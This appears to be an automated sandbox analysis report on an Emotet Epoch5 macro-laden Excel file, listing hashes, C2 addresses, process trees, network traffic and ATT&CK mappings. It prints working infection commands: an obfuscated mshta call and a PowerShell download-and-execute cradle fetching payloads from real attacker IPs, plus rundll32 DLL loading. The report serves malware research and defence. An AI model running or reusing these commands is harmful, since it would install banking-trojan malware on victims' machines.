emotet | b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3

General

Target

b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3.xlsm
Size

115KB
MD5

ae463a7f0de640061802d78223d7424d
SHA1

d4809b8d5b09ede52d07f27485ed5d54bb7e4eca
SHA256

b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3
SHA512

ea7ab3c0d5641711e0600dac4c1bf6bcd9035715b529360d7027a1e64ae963b958b8b70d890dc027487cf138b3eb92862cb69a9875f34216e64a8a1facee2758

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

1
mshta  http://0x5cff39c3/sec/se1.html

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

1
# powershell snippet 0
2
$c1 = "(New-Object Net.We"
3
$c4 = "bClient).Downlo"
4
$c3 = "adString('http://92.255.57.195/sec/se1.png')"
5
$ji = "(New-Object Net.WebClient).DownloadString('http://92.255.57.195/sec/se1.png')"
6
invoke-expression "(New-Object Net.WebClient).DownloadString('http://92.255.57.195/sec/se1.png')"|invoke-expression
7
8
# powershell snippet 1
9
(new-object net.webclient).downloadstring("http://92.255.57.195/sec/se1.png")
10

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

1
-----BEGIN PUBLIC KEY-----
2
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2DWT12OLUMXfzeFp+bE2AJubVDsW
3
NqJdRC6yODDYRzYuuNL0i2rI2Ex6RUQaBvqPOL7a+wCWnIQszh42gCRQlg==
4
-----END PUBLIC KEY-----

ecs1.plain

1
-----BEGIN PUBLIC KEY-----
2
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9C8agzYaJ1GMJPLKqOyFrlJZUXVI
3
lAZwAnOq6JrEKHtWCQ+8CHuAIXqmKH6WRbnDw1wmdM/YvqKFH36nqC2VNA==
4
-----END PUBLIC KEY-----

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2264	2464	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
36	3664	mshta.exe
43	1328	powershell.exe
45	1328	powershell.exe
46	3032	rundll32.exe
47	3032	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2952	rundll32.exe
1756	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Xokaozvpqz\pvsqulbvuplvj.fnj	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2256	3664	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2464	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1328	powershell.exe
1328	powershell.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
2256	WerFault.exe
1328	powershell.exe
3032	rundll32.exe
3032	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	2256	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 2104	2464	EXCEL.EXE	72
PID 2464 wrote to memory of 2104	2464	EXCEL.EXE	72
PID 2464 wrote to memory of 2264	2464	EXCEL.EXE	73
PID 2464 wrote to memory of 2264	2464	EXCEL.EXE	73
PID 2264 wrote to memory of 3664	2264	cmd.exe	75
PID 2264 wrote to memory of 3664	2264	cmd.exe	75
PID 3664 wrote to memory of 1328	3664	mshta.exe	77
PID 3664 wrote to memory of 1328	3664	mshta.exe	77
PID 1328 wrote to memory of 3396	1328	powershell.exe	80
PID 1328 wrote to memory of 3396	1328	powershell.exe	80
PID 3396 wrote to memory of 2952	3396	cmd.exe	81
PID 3396 wrote to memory of 2952	3396	cmd.exe	81
PID 3396 wrote to memory of 2952	3396	cmd.exe	81
PID 2952 wrote to memory of 1756	2952	rundll32.exe	82
PID 2952 wrote to memory of 1756	2952	rundll32.exe	82
PID 2952 wrote to memory of 1756	2952	rundll32.exe	82
PID 1756 wrote to memory of 680	1756	rundll32.exe	83
PID 1756 wrote to memory of 680	1756	rundll32.exe	83
PID 1756 wrote to memory of 680	1756	rundll32.exe	83
PID 680 wrote to memory of 3032	680	rundll32.exe	84
PID 680 wrote to memory of 3032	680	rundll32.exe	84
PID 680 wrote to memory of 3032	680	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2104
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1328
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3396
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2952
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1756
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xokaozvpqz\pvsqulbvuplvj.fnj",AIrvNFjwTIczp
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:680
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xokaozvpqz\pvsqulbvuplvj.fnj",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3032
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3664 -s 1636
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2256

Network

GET

http://92.255.57.195/sec/se1.html

mshta.exe

Remote address:

92.255.57.195:80

Request

GET /sec/se1.html HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 92.255.57.195
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Wed, 19 Jan 2022 23:54:52 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
Last-Modified: Wed, 19 Jan 2022 18:29:09 GMT
ETag: "2adf-5d5f38fbf4740"
Accept-Ranges: bytes
Content-Length: 10975
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
GET

http://92.255.57.195/sec/se1.png

powershell.exe

Remote address:

92.255.57.195:80

Request

GET /sec/se1.png HTTP/1.1
Host: 92.255.57.195
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Wed, 19 Jan 2022 23:54:54 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
Last-Modified: Wed, 19 Jan 2022 18:27:22 GMT
ETag: "430-5d5f3895e9680"
Accept-Ranges: bytes
Content-Length: 1072
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/png
DNS

seven-lines.com

powershell.exe

Remote address:

8.8.8.8:53

Request

seven-lines.com

IN A

Response

seven-lines.com

IN A

178.208.83.22
GET

http://seven-lines.com/wp-includes/QEGNF4XUSR2Ps/

powershell.exe

Remote address:

178.208.83.22:80

Request

GET /wp-includes/QEGNF4XUSR2Ps/ HTTP/1.1
Host: seven-lines.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Server: nginx
Date: Wed, 19 Jan 2022 23:54:55 GMT
Content-Type: application/x-msdownload
Content-Length: 616448
Connection: keep-alive
Keep-Alive: timeout=5
X-Powered-By: PHP/5.6.37
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Wed, 19 Jan 2022 23:54:55 GMT
Content-Disposition: attachment; filename="YdL2KCVPV8.dll"
Content-Transfer-Encoding: binary
Set-Cookie: 61e8a4cf14e00=1642636495; expires=Wed, 19-Jan-2022 23:55:55 GMT; Max-Age=60; path=/
Last-Modified: Wed, 19 Jan 2022 23:54:55 GMT
GET

https://69.16.218.101:8080/PtdzEgctxefTHbqGmgxSrBjIUuvZd

rundll32.exe

Remote address:

69.16.218.101:8080

Request

GET /PtdzEgctxefTHbqGmgxSrBjIUuvZd HTTP/1.1
Cookie: cvPrOubDezBxMbD=FRqjaRBofmcFnxoj3abmLU5mJCGtPw5BCK2kLof4OKPkkASzOXIKB+UsN7MA1eyLETIutVYBCTPKm5i5RzGRkLhXHPyPF8pftEkS8mUvhCpfqLK7htjcdYUpr0aG2ODGBhJKL/TJ1eS+XhdYypOiuzXVsneB5YbfMxK8FWeyegCYly/dvcZx+g+yllzZaemmXArjIuWddfaoKpE2rTG/1qsAdr60N5KNgl+N9LInYTrtrJB2beE+qaXNqS+15mo0g14iB35/NwMxrETBgynDSsMljmNr6B32YiSDikoE
Host: 69.16.218.101:8080
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Wed, 19 Jan 2022 23:55:13 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

52.109.88.36:443

322 B
7
52.109.88.36:443

nexusrules.officeapps.live.com

tls

1.7kB
19.5kB
15
17
92.255.57.195:80

http://92.255.57.195/sec/se1.html

http

mshta.exe

881 B
11.8kB
12
11

HTTP Request

GET http://92.255.57.195/sec/se1.html

HTTP Response

200
92.255.57.195:80

http://92.255.57.195/sec/se1.png

http

powershell.exe

626 B
1.6kB
12
4

HTTP Request

GET http://92.255.57.195/sec/se1.png

HTTP Response

200
178.208.83.22:80

http://seven-lines.com/wp-includes/QEGNF4XUSR2Ps/

http

powershell.exe

10.3kB
634.0kB
223
426

HTTP Request

GET http://seven-lines.com/wp-includes/QEGNF4XUSR2Ps/

HTTP Response

200
45.138.98.34:80

rundll32.exe

156 B
120 B
3
3
69.16.218.101:8080

https://69.16.218.101:8080/PtdzEgctxefTHbqGmgxSrBjIUuvZd

tls, http

rundll32.exe

1.3kB
2.5kB
12
9

HTTP Request

GET https://69.16.218.101:8080/PtdzEgctxefTHbqGmgxSrBjIUuvZd

HTTP Response

200

8.8.8.8:53

seven-lines.com

dns

powershell.exe

61 B
77 B
1
1

DNS Request

seven-lines.com

DNS Response

178.208.83.22

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/680-340-0x0000000004BC0000-0x0000000004BE8000-memory.dmp

Filesize
160KB

Download
memory/1328-308-0x0000020E42770000-0x0000020E42772000-memory.dmp

Filesize
8KB

Download
memory/1328-318-0x0000020E42776000-0x0000020E42778000-memory.dmp

Filesize
8KB

Download
memory/1328-309-0x0000020E42773000-0x0000020E42775000-memory.dmp

Filesize
8KB

Download
memory/1328-277-0x0000020E427F0000-0x0000020E42812000-memory.dmp

Filesize
136KB

Download
memory/1328-296-0x0000020E42960000-0x0000020E4299C000-memory.dmp

Filesize
240KB

Download
memory/1328-307-0x0000020E42ED0000-0x0000020E42F46000-memory.dmp

Filesize
472KB

Download
memory/1756-328-0x0000000000660000-0x0000000000688000-memory.dmp

Filesize
160KB

Download
memory/1756-331-0x00000000045F0000-0x0000000004618000-memory.dmp

Filesize
160KB

Download
memory/1756-339-0x00000000049B0000-0x00000000049D8000-memory.dmp

Filesize
160KB

Download
memory/1756-337-0x0000000004850000-0x0000000004878000-memory.dmp

Filesize
160KB

Download
memory/1756-335-0x00000000047F0000-0x0000000004818000-memory.dmp

Filesize
160KB

Download
memory/1756-333-0x00000000046D0000-0x00000000046F8000-memory.dmp

Filesize
160KB

Download
memory/2464-119-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2464-124-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2464-132-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/2464-120-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2464-121-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2464-118-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

Filesize
64KB

Download
memory/2464-131-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

Filesize
64KB

Download
memory/3032-345-0x00000000050C0000-0x00000000050E8000-memory.dmp

Filesize
160KB

Download
memory/3032-347-0x00000000051B0000-0x00000000051D8000-memory.dmp

Filesize
160KB

Download
memory/3032-349-0x0000000005290000-0x00000000052B8000-memory.dmp

Filesize
160KB

Download
memory/3032-351-0x0000000005370000-0x0000000005398000-memory.dmp

Filesize
160KB

Download
memory/3032-353-0x0000000005460000-0x0000000005488000-memory.dmp

Filesize
160KB

Download
memory/3032-355-0x0000000005560000-0x0000000005588000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

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Downloads

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